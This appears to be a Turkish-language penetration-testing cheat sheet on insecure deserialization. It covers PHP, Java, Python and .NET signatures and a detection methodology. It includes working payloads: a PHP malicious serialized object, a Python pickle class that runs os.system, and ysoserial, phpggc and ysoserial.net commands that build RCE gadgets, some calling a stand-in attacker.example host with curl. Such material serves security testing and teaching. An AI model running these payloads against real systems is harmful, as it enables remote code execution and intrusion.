Insecure Deserialization
OWASP A08 · Integrity Failures impact: yüksek (RCE)
Insecure Deserialization, uygulamanın güvenilmeyen kaynaktan gelen serileştirilmiş veriyi doğrulamadan nesneye dönüştürmesidir. Saldırgan, nesne alanlarını değiştirebilir (yetki yükseltme) veya var olan sınıfların (gadget) yan etkilerini zincirleyerek kod çalıştırabilir.
Nerede aranır
Section titled “Nerede aranır”Çerezler, gizli form alanları, JWT olmayan session blob’ları, mesaj kuyrukları, RPC/RMI, cache (Redis/Memcached) değerleri, API gövdeleri. Tanınabilir imzalar:
PHP : O:4:"User":2:{...} (serialize()) a:2:{...} (array)Java : rO0AB... / AC ED 00 05 (base64 / ham magic)Python : pickle (\x80\x04... / base64).NET : AAEAAAD///// (BinaryFormatter base64) TypeNameHandling ile JSONRuby : Marshal (\x04\x08...)Node : node-serialize / serialize-javascript kötüye kullanımıPHP — object injection
Section titled “PHP — object injection”// Güvensiz$obj = unserialize($_COOKIE['data']);__wakeup, __destruct, __toString, __call gibi sihirli metotlar seri kaldırmada tetiklenir (POP — Property Oriented Programming).
// Örnek kötü niyetli serileştirilmiş nesne kalıbıO:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}allowed_classes kısıtı yoksa veya genişse gadget zinciri aranır. phar:// meta-verisi de deserialize tetikleyebilir (file operation + phar).
ObjectInputStream.readObject() güvenilmeyen akışta klasik RCE yüzeyidir. Classpath’teki kütüphaneler (Commons Collections, Spring, Hibernate vb.) gadget sağlar.
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.example/x' | base64 -w0java -jar ysoserial.jar URLDNS http://uniq.oast.fun # DNS ile doğrulama (RCE değil)Önce URLDNS / zaman farkı ile deserialize olduğunu kanıtla, sonra RCE gadget dene. ViewState (.NET değil, Java Faces) ve RMI/JMX de hedeflenir.
Python pickle
Section titled “Python pickle”import pickle, osclass RCE: def __reduce__(self): return (os.system, ('id',))print(pickle.dumps(RCE()))yaml.load (güvensiz Loader), marshal, shelve benzer risk taşır.
BinaryFormatter, LosFormatter, NetDataContractSerializer, Json.NET TypeNameHandling.All sık görülen hedefler:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64ASP.NET ViewState, MAC doğrulaması kapalıysa veya machineKey biliniyorsa deserialize RCE’ye gidebilir.
Tespit metodolojisi
Section titled “Tespit metodolojisi”-
İmzayı tanı — cookie/parametre base64 decode et; magic byte / O: / rO0 ara.
-
Değiştir ve gözle — nesne alanlarını (role=admin, user_id) manipüle ederek yetki yükseltmeyi dene (RCE’den önce düşük riskli kanıt).
-
OAST gadget — Java URLDNS, PHP/Python’da DNS çeken payload ile deserialize doğrula.
-
Gadget üret — framework’e göre ysoserial / phpggc / ysoserial.net.
Araçlar
Section titled “Araçlar”phpggc -lphpggc Laravel/RCE1 system id -bphpggc Symfony/RCE4 exec 'curl http://attacker.example' -bjava -jar ysoserial.jar CommonsBeanutils1 'id' > payload.binysoserial.net -f Json.Net -g ObjectDataProvider -c "whoami"Zincirleme
Section titled “Zincirleme”- Deserialization → RCE → persistence
- Upload (phar polyglot) + file_exists(phar://…) → PHP POP
- Message queue (Java) deserialize → lateral movement
- Yetki alanı değiştirme (isAdmin flag) → IDOR / admin fonksiyonları